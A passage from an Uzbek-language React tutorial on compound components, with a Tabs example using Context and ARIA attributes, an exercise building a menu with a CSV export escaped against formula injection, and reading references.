if (tabs === null) {
throw new Error(`<Tabs.${part}> — <Tabs> ichida bo'lsin`);
}
return tabs;
}
function Tabs({ defaultValue, children }) {
const [value, setValue] = useState(defaultValue);
const baseId = useId();
return (
<TabsContext value={{ value, setValue, baseId }}>
<div>{children}</div>
</TabsContext>
);
}
function List({ children }) {
useTabs("List");
return <div role="tablist">{children}</div>;
}
function Tab({ value, children }) {
const tabs = useTabs("Tab");
const selected = tabs.value === value;
return (
<button
role="tab"
id={`${tabs.baseId}-tab-${value}`}
aria-controls={`${tabs.baseId}-panel-${value}`}
aria-selected={selected}
onClick={() => tabs.setValue(value)}
>
{children}
</button>
);
}
function Panel({ value, children }) {
const tabs = useTabs("Panel");
if (tabs.value !== value) return null;
return (
<div
role="tabpanel"
id={`${tabs.baseId}-panel-${value}`}
aria-labelledby={`${tabs.baseId}-tab-${value}`}
>
{children}
</div>
);
}
Tabs.List = List;
Tabs.Tab = Tab;
Tabs.Panel = Panel;
function App() {
const [checked, setChecked] = useState(0);
useEffect(() => {
const tab = document.querySelector('[aria-selected="true"]');
const panel = document.querySelector('[role="tabpanel"]');
console.log(
"mos:",
tab.getAttribute("aria-controls") === panel.id &&
panel.getAttribute("aria-labelledby") === tab.id,
);
}, [checked]);
return (
<div onClick={() => setChecked((c) => c + 1)}>
<Tabs defaultValue="ovqat">
<Tabs.List>
<Tabs.Tab value="ovqat">Ovqatlar</Tabs.Tab>{" "}
<Tabs.Tab value="ichimlik">Ichimliklar</Tabs.Tab>
</Tabs.List>
<Tabs.Panel value="ovqat">Osh — 35 000 so'm</Tabs.Panel>
<Tabs.Panel value="ichimlik">
Ko'k choy — 5 000 so'm
</Tabs.Panel>
</Tabs>
</div>
);
}Konsolda:
mos: true
mos: trueEkranda:
Ovqatlar Ichimliklar
Ko'k choy — 5 000 so'museId faqat Tabs da chaqiriladi — bitta asos. Qismlar unga -tab- yoki -panel- va o'z value sini qo'shadi, shuning uchun tab va panel bir-birining id'sini hisoblab biladi: hech kim ularni qo'lda uzatmaydi. List ham useTabs ni chaqiradi — faqat himoya uchun, qiymati kerak emas. Tekshiruvchi div ning onClick i bosishdan keyin effektni qayta ishga tushirish uchun. Bu faqat sinov qismi, real Tabs da kerak emas. To'liq tab naqshida strelkalar bilan yurish ham bor (Fokus boshqaruvi).
4-mashq: vazifalar qadami
feat/ui-menyu branch'ini oching. src/ui/Menyu.tsx ni «Vazifalar qadami» dagidek yozing. useMenyu hali yo'q: uni #30 gacha vaqtinchalik "zaglushka" (stub) bilan almashtirish mumkin — ochiq va uchta funksiya, ular bo'sh obyekt qaytaradi. Yoki #30 dagi to'liq faylni hozir ko'chiring. BatafsilStatistika.tsx ga menyuni, batafsil-statistika.ts ga csvKatak va statistikaCsv ni, vazifalar.css ga menyu stillarini qo'shing. Commit — #30 da.
Yechim
Tekshirish: npm run tip — Menyu.Tugma kabi xususiyatlar tsc'da xatosiz. npm run dev — statistika panelini oching: «Hisobotni yuklab olish» tugmasi bor. Stub bilan ro'yxat har doim ko'rinadi, useMenyu bilan esa bosilganda ochiladi. CSV'ni yuklab, Excel'da oching: o'zbekcha harflar to'g'ri va = bilan boshlangan teg '= bilan matn bo'lib turadi. To'liq testlar (Menyu.test.tsx, 6 ta) va brauzer tekshiruvi — #30 da.
9. Real ishda
- UI kutubxonalari: Radix, React Aria Components, Base UI, Ark UI, Headless UI — hammasi compound API. shadcn/ui ham shu:
<DropdownMenu><DropdownMenuTrigger>…. Ularni o'qiganda "Root — Context, qismlar — iste'molchi" deb ko'rasiz. - O'z dizayn tizimi: kompaniyalardagi
Card,Table,Form.Field,Modal.Footer— compound naqshda yoziladi, chunki ularni o'nlab jamoa har xil yig'adi. - Native avval:
<select>, details tegi,<dialog>bor joyda o'z compound komponentingizni yozmang — kanondagi «Teglar tartibi» kabi. - Intervyu savollari: "Compound komponent nima va qachon kerak?", "Nega
cloneElementdan qochiladi?", "Context qiymatini negauseMemoga o'raymiz?", "Konfiguratsiya va kompozitsiya API'si farqi?".
Xulosa
- Compound komponent — ota va unga bog'langan qismlar. Holat otada yashaydi va qismlarga Context orqali yetadi (yashirin state).
- Qismlar — slot: foydalanuvchi ularni o'z tartibida, orasiga istalgan kontent bilan yig'adi. Konfiguratsiya props'lari o'rniga kompozitsiya.
- Har qism
use(Context)+nulltekshiruvi bilan himoyalanadi va aniq xato matni beradi. Children.map+cloneElement— eski yo'l: o'ram, Fragment va shartli qismda jim sinadi.- Qism o'zini tartib raqami bilan emas, aniq
valuebilan taniydi (Radix uslubi:Root,Trigger,Content). vazifalarholat 30:Menyu,Menyu.Tugma,Menyu.Royxat,Menyu.Band— xulquseMenyuda, CSV hisobot formula injection'dan himoyalangan.
Keyingi dars: Controlled va uncontrolled komponent API dizayni — <Menyu> ni ota boshqarsa ham, o'zi boshqarsa ham ishlaydigan qilish.
Manbalar
- React: "Passing Data Deeply with Context" — react.dev/learn/passing-data-deeply-with-context
- React: "Legacy React APIs" —
Children,cloneElement— react.dev/reference/react/legacy - Radix Primitives: Tabs (anatomiya) — radix-ui.com/primitives/docs/components/tabs
- WAI-ARIA APG: Tabs, Accordion, Menu Button — w3.org/WAI/ARIA/apg/patterns/
- OWASP: CSV Injection — owasp.org/www-community/attacks/CSV_Injection
- Kanon:
sinov/18/QADAMLAR.md(#26–#30),holatlar/30/src/ui/Menyu.tsx
Izohlar (0)
Izoh yozish uchun kiring.
- Hozircha izoh yo'q. Birinchi bo'ling!